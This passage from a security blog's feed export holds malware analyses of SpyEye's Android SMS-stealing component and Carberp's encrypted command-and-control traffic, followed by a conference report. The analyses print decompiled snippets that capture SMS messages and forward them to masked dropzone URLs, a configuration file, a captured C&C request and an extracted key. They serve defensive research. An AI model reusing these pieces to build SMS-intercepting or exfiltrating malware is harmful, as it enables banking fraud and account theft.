account. In reality, it is a false number that appears hard coded in the source code.&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;br /&gt;&lt;br /&gt;if (!paramIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL"))&lt;br /&gt;return;&lt;br /&gt;if (!paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER").equals("325000"))&lt;br /&gt;return;&lt;br /&gt;Toast.makeText(paramContext, "251340", 0).show();&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Subsequently, in communications with the dropzone, it sends the telephone’s &lt;a href="http://en.wikipedia.org/wiki/MSISDN"&gt;MSISDN&lt;/a&gt; number. They do not associate the infection of the mobile device with the victim’s PC.&lt;br /&gt;&lt;br /&gt;The main function of the malicious application resides in capturing the incoming and outgoing SMSs to then forward them to the attacker. The victim does not receive the SMS messages and they are forwarded directly to the fraudster. Given that there is no association with the previous infection of the PC and/or the victim’s account, it is assumed that previously obtained credentials (through the Trojan) are used to make a fraudulent transfer and receive the mobile token that is immediately forwarded to the victim’s device.&lt;br /&gt;&lt;br /&gt;The permissions sought by the &lt;i&gt;Manifest&lt;/i&gt; file at application installation time are as follows:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-b1MBWXOUFx8/TnImGsrpXwI/AAAAAAAAAyo/cx6MhPVTUxE/s1600/android_captura2-1.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 223px; height: 219px;" src="http://4.bp.blogspot.com/-b1MBWXOUFx8/TnImGsrpXwI/AAAAAAAAAyo/cx6MhPVTUxE/s400/android_captura2-1.jpg" alt="" id="BLOGGER_PHOTO_ID_5652622378818690818" border="0" /&gt;&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;The application is installed as &lt;i&gt;System&lt;/i&gt; and is not visible alongside other applications and, although visible in a list of them, would not be easily detected due to the choice of icon and cryptic name:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-P9oJbe6WAqE/TnImSo_9ACI/AAAAAAAAAyw/RfELrvJMfMI/s1600/android_captura1.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 239px; height: 400px;" src="http://4.bp.blogspot.com/-P9oJbe6WAqE/TnImSo_9ACI/AAAAAAAAAyw/RfELrvJMfMI/s400/android_captura1.jpg" alt="" id="BLOGGER_PHOTO_ID_5652622583988551714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It has a configuration file called &lt;i&gt;settings.xml&lt;/i&gt; as shown below:&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;br /&gt;&amp;lt;settings&amp;gt;&lt;br /&gt;&amp;lt;send value="1"/&amp;gt;&lt;br /&gt;&amp;lt;telephone value="123"/&amp;gt;&lt;br /&gt;&amp;lt;http&amp;gt;&lt;br /&gt;&amp;lt;addr value="http://######af.com/sms/gate.php"/&amp;gt;&lt;br /&gt;&amp;lt;addr value="http://######2.com/sms/gate.php"/&amp;gt;&lt;br /&gt;&amp;lt;addr value="http://######fsaf.com/sms/gate.php"/&amp;gt;&lt;br /&gt;&amp;lt;addr value="http://######fsaffa.com/sms/gate.php"/&amp;gt;&lt;br /&gt;&amp;lt;/http&amp;gt;&lt;br /&gt;&amp;lt;tels&amp;gt;&lt;br /&gt;&amp;lt;/tels&amp;gt;&lt;br /&gt;&amp;lt;/settings&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt; &lt;ul&gt;&lt;li&gt;&lt;b&gt;send&lt;/b&gt;: this value indicates whether information will be transmitted via sending to a &lt;i&gt;dropzone&lt;/i&gt;, sending an SMS or both (by default configured to send by HTTP GET)&lt;/li&gt;&lt;li&gt; &lt;b&gt;telephone&lt;/b&gt;: The destination telephone number (by default fictitious)&lt;/li&gt;&lt;li&gt; &lt;b&gt;http&lt;/b&gt;: Addresses where the results are sent. &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In addition, for sending by HTTP, a string is prepared and sent to the &lt;a href="http://securityblog.s21sec.com/2011/09/spitmo-control-panel.html"&gt;&lt;span style="font-style: italic;"&gt;dropzones&lt;/span&gt;&lt;/a&gt; in the following format:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; &lt;i&gt;dropzone/gate.php?sender=&amp;amp;receiver=&amp;amp;text=&lt;/i&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;        &lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;br /&gt;&lt;br /&gt;str1 = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();&lt;br /&gt;str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();&lt;br /&gt;str3 = arrayOfSmsMessage[0].getMessageBody();&lt;br /&gt;if (this.numbers.size() != 0)&lt;br /&gt;continue;&lt;br /&gt;performAction(str2, str1, str3);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-kdF3rSM9CRU/TnImbxpEx_I/AAAAAAAAAy4/wVj4XVES1ck/s1600/coso_android_captura.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 587px; height: 9px;" src="http://4.bp.blogspot.com/-kdF3rSM9CRU/TnImbxpEx_I/AAAAAAAAAy4/wVj4XVES1ck/s400/coso_android_captura.png" alt="" id="BLOGGER_PHOTO_ID_5652622740927334386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Once sent, the application receives the responses from the server, but does not process them, so we do not believe that the dropzones communicate directly with the application.&lt;br /&gt;Finally, the sending of the SMS from the victim’s phone would be done using the following format: &lt;i&gt;sms_dir_origen :         sms_body&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;S21sec has already taken the appropriate measures to close down the malicious site&lt;i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;span style="font-style: italic;"&gt;Ismael García &amp;amp; Santiago Vicente&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-2933401430718096082?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/feEWYsvcSoE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/2933401430718096082/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=2933401430718096082" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/2933401430718096082?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/2933401430718096082?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/feEWYsvcSoE/spyeye-and-man-in-mobile.html" title="SpyEye and Man in the Mobile" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-b1MBWXOUFx8/TnImGsrpXwI/AAAAAAAAAyo/cx6MhPVTUxE/s72-c/android_captura2-1.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/09/spyeye-and-man-in-mobile.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8DQ3o6fip7ImA9WhdTFUk.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-7630744034825758581</id><published>2011-07-12T10:10:00.000-07:00</published><updated>2011-07-13T02:21:12.416-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-13T02:21:12.416-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="carberp trojan reversing" /><title>Decrypting Carberp C&amp;C communication</title><content type="html">&lt;div style="text-align: justify;"&gt;Carberp is a recently (2010) discovered banking Trojan. Although it is not as well known as the currently dominating banking Trojans, such as ZeuS or SpyEye, we can’t simply ignore it due to its powerful capabilities, which may lead it to greater success in the future. The main characteristics of Carberp are:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;It comes with three plugins: MiniAV, StopAV and Passw. MiniAV is a generic mini-antivirus which was designed to kill specific trojans or other uncategorized possibly malicious applications that had been heuristically considered as malware. It includes a disinfection mechanism against ZeuS, Adrenalin, Limbo, Barracuda and BlackEnergy. That a malicious application would contain a built-in mini antivirus is not something new, we have seen it before with Tatanga as well. The plugin StopAV’s purpose is to take out (kill) various antivirus products, meanwhile the plugin Passw contains password stealing functionality for various applications (ftp, pop3, passwords from Window registry…).&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;It has a very sophisticated installation mechanism which includes remote code injection into the default webbrowser and svchost.exe, and contains a payload which tries to exploit a vulnerability in the operating system (MS08-025). This executes code in the kernel which restores various system hooks used by security applications, thereby concealing the Trojan.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Together with backdoor functionality and HTML injection it is able to perform Man-in-the-Browser type attacks against the victims.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Recent variants of Carberp encrypt communication with the C&amp;amp;C, which makes further observation and monitorization of the trojan a more complex task. A Wireshark extension, customized for this purpose, would come in very handy. You can download it from &lt;a href="http://www.s21sec.com/descargas/carberp-wireshark-plugin.zip"&gt;here&lt;/a&gt; together with an example .pcap file, source code also included (however it was probed with 32bit version of Wireshark only).&lt;/div&gt;&lt;/div&gt;&lt;div style=""&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=""&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "&gt;&lt;img src="http://2.bp.blogspot.com/-0_VuDy-zmBA/ThxDOmAtuKI/AAAAAAAAAxQ/Qk6MENj95zk/s400/ws_carberp1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5628447552307050658" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 159px; " /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=""&gt;In the above example we can see the plugin in action as the Trojan received an "updateconfig" command from its C&amp;amp;C server. The installation of the plugin is simple; we just have to put it into the "plugins" directory inside Wireshark’s folder. To verify that the plugin is loaded correctly, we have to check that it appears in the list, in the menu Analyze/Enabled Protocols:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "&gt;&lt;img src="http://3.bp.blogspot.com/-xxpKGy4JPhE/ThxDbnIOMxI/AAAAAAAAAxY/YUkpv-7OcxA/s400/ws_carberp2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5628447775945274130" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 259px; " /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#0000EE;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;There is one more thing to look at that we have not mentioned yet, the algorithm that Carberp uses to encrypt its traffic:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;POST /clssvoarsm.phtm HTTP/1.1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Accept: */*&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Host: sandravsxpanel.cz.cc&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Connection: Close&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Content-Type: application/x-www-form-urlencoded&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Content-Length: 691&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;cchq=&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;&lt;b&gt;KRQ5&lt;/b&gt;&lt;/span&gt;5AVXERssj8SabRbGQFPODZUhZxjdZY9QgPAaGwhjb1%2FEqCdQneoEfXMET&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;LcYNneVMlpNcMSCwEFGLhSABClbFY8G5AZak5JOk4l8JY1UiZzgmSQWdJFmFYFw77u29&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;7TRAoJWs4k7zgCKRrwudgtxbdiP62OJOiKSyJ0OCd75ZmYKP4uLo1h3nPT%2BNLn2Zdr&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;amAU31TfsdLmbf4F%2F3lo%2FS3d00bdbzGZC4oYSIu8Ci9Qw6WCISy8LBBX1LFBS3Y7&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;S5A633XS5GVyylgvwDCPC%2Fsp47pBFRWa%2Bblnq4NkUnkkyszrnFxgxFfO76kVfzSz&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;FZAC8xcDnkrBMyr%2BRvINHn3PMdf4jGWImLFT%2BN8r8mDSAz%2FFkOJaxi7OlsiH30&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;6btuph1s0MG%2F1fLnxxBhsRcssrPVB4Q6VP%2BAOUaDLg26n5XhMbHskphPkhDTyIPZ&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;lc9LPsAfMG4dfd9PhOGzBJFH9kaAb2kC4WDtU%2BnZcuYoH2advviTm9wtcz4ZASW5kx&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;HPgkVw9uP73fnNEs1QHdGB57V9G57bd2qdmoZ%2BOojFrtOilpizUQ9cxBvl7nGj%2Bs&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;%2FuAPWVV%2FXOb1tyoMmtHmSY0BqoXzksdaK2%2FDU%2BGUfkDgV95MiLXd%2FG6hXe&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;5zXAEXH&lt;b&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;54ji&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;The first and last four bytes of the message (marked in red) are needed for initialize the decryption and they are randomly generated at each POST.  The data between are base64 encoded + RC2 algorithm. Apart from the randomly generated "short" keys which are 8 bytes in total, there is a "long" key which consists of 16 bytes and is hardcoded inside the binary and we need to extract it. Fortunately it is not that hard to spot it:&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "&gt;&lt;img src="http://3.bp.blogspot.com/-vOUxJGk7ZHY/ThxDzZcbdjI/AAAAAAAAAxo/w1dhi9pYaTY/s400/ws_carberp3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5628448184588793394" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 392px; height: 394px; " /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#0000EE;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;By taking a memory dump of the malware, loading it into a disassembler we can spot the right function by looking for the hash value "618ADDBEh". It’s not clear the purpose of this hash, most probably this value belongs to a default decryption key. By the way, our "long" key is "rsg7?GhdHB16_Rbf" however we still have to apply a byte XOR with value 05 to get the final &lt;b&gt;wvb2zBmaMG43ZWgc&lt;/b&gt; key.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "&gt;&lt;img src="http://4.bp.blogspot.com/-UmLglVvouUg/ThxEEwuSnFI/AAAAAAAAAxw/HvT_73ENvx4/s400/ws_carberp4.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5628448482895502418" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 110px; " /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#0000EE;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Once we have got the key, we have to pass it to the plugin in order to get it work. Menu Edit/Preferences/Protocols and that’s all, ready to sniff an infected machine ;)&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Jozsef Gegeny&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-7630744034825758581?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/ry2KdgHdsIQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/7630744034825758581/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=7630744034825758581" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/7630744034825758581?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/7630744034825758581?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/ry2KdgHdsIQ/decrypting-carberp-c-communication.html" title="Decrypting Carberp C&amp;C communication" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-0_VuDy-zmBA/ThxDOmAtuKI/AAAAAAAAAxQ/Qk6MENj95zk/s72-c/ws_carberp1.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/07/decrypting-carberp-c-communication.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkMESH88fSp7ImA9WhZaE04.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-5250014295819090477</id><published>2011-06-29T01:00:00.000-07:00</published><updated>2011-06-29T01:00:09.175-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-29T01:00:09.175-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Conference" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>ToorCon Seattle 2011</title><content type="html">&lt;div style="text-align: justify;"&gt;As I mentioned in the &lt;a href="http://securityblog.s21sec.com/2011/06/last-week-source-seattle-usa-took-place.html"&gt;previous post&lt;/a&gt;, just after &lt;a href="http://www.sourceconference.com/seattle/"&gt;Source Seattle&lt;/a&gt; some days ago, the &lt;a href="http://seattle.toorcon.org/"&gt;ToorCon&lt;/a&gt; (also in Seattle) began. Some speakers took advantage of this to present the same or different presentations at both conferences. Friday the 13th was the opening day, with a small party, but the presentations didn’t begin until the following day. There were &lt;a href="http://seattle.toorcon.org/2011/conference.php"&gt;thirty talks&lt;/a&gt; in total, each delivered in a 15 minute period of time, with a short break for lunch. It was an entire day of presentations, from 8:30 till 10:30, quite a day!&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-NodAPp4nZCI/TgNjGoJa8rI/AAAAAAAAAvw/PdZ3xjgmmXE/s1600/Foto0516.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/-NodAPp4nZCI/TgNjGoJa8rI/AAAAAAAAAvw/PdZ3xjgmmXE/s400/Foto0516.jpg" alt="" id="BLOGGER_PHOTO_ID_5621445725395808946" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The subject of the talks was very varied, from hacktivism themes through to hard disk recuperation. During the morning we could attend, amongst others, presentations about &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=30"&gt;the use of concurrence in Python for the creation of stronger security tools&lt;/a&gt;, an &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=33"&gt;appeal for the real securing of communications&lt;/a&gt;, &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=8"&gt;exploit kits&lt;/a&gt;, &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=21"&gt;details of the fall of the Rustock botnet&lt;/a&gt; by Julia Wolf, how to &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=2"&gt;physically recover a hard drive&lt;/a&gt; (a real surgical intervention of a hard disk) and it ended with some interesting &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=37"&gt;thoughts about&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Bitcoin"&gt;Bitcoin&lt;/a&gt; from Dan Kaminsky: if a normal user does not have the capacity to generate a large amount of bitcoins, because it depends on the capacity of the calculation, who will end up having them all?&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-dI_p9RviGSo/TgNlRd3IUoI/AAAAAAAAAv4/Fiu9iJuI-qg/s1600/Foto0520.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/-dI_p9RviGSo/TgNlRd3IUoI/AAAAAAAAAv4/Fiu9iJuI-qg/s400/Foto0520.jpg" alt="" id="BLOGGER_PHOTO_ID_5621448110636552834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The afternoon sessions were no less interesting. In my opinion, the highlights were the &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=28"&gt;discovery of exploitable vulnerabilities in the kernel through emulation&lt;/a&gt;, a &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=27"&gt;practical example of telephone social engineering&lt;/a&gt;, where you could hear how they obtained data from a real secretary, and one that dealt with the &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=34"&gt;compromise of a domain through a&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Private_branch_exchange#Private_branch_exchange"&gt;PBX telephone system&lt;/a&gt;. Without a doubt, this last one brought more than one person to their feet and received the best applause of all, as its staring point was a telephone system and they managed to query sensitive data from the network systems.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-Gu0if4NCEV0/TgNlznFr31I/AAAAAAAAAwA/WH5PVtUIv9E/s1600/Foto0521.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/-Gu0if4NCEV0/TgNlznFr31I/AAAAAAAAAwA/WH5PVtUIv9E/s400/Foto0521.jpg" alt="" id="BLOGGER_PHOTO_ID_5621448697229074258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Finally, the closing event took place at a club in the city where people could socialize in the best possible way ;) This wasn’t a conference where you could go and put up a company stand, but a place where you could meet unusual people with a wide knowledge of IT security and share a beer. There is a risk that by the last speech you wouldn’t be paying full attention to the platform, but nothing is perfect, is it? It is another type of conference, very different from Source, but equally recommendable. In summary, the best thing to do is to attend them both ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;S21sec e-crime&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-5250014295819090477?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/IXq7lWz9qSE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/5250014295819090477/comments/default" title="Post Comments" /><link rel="replies" type="text/html" 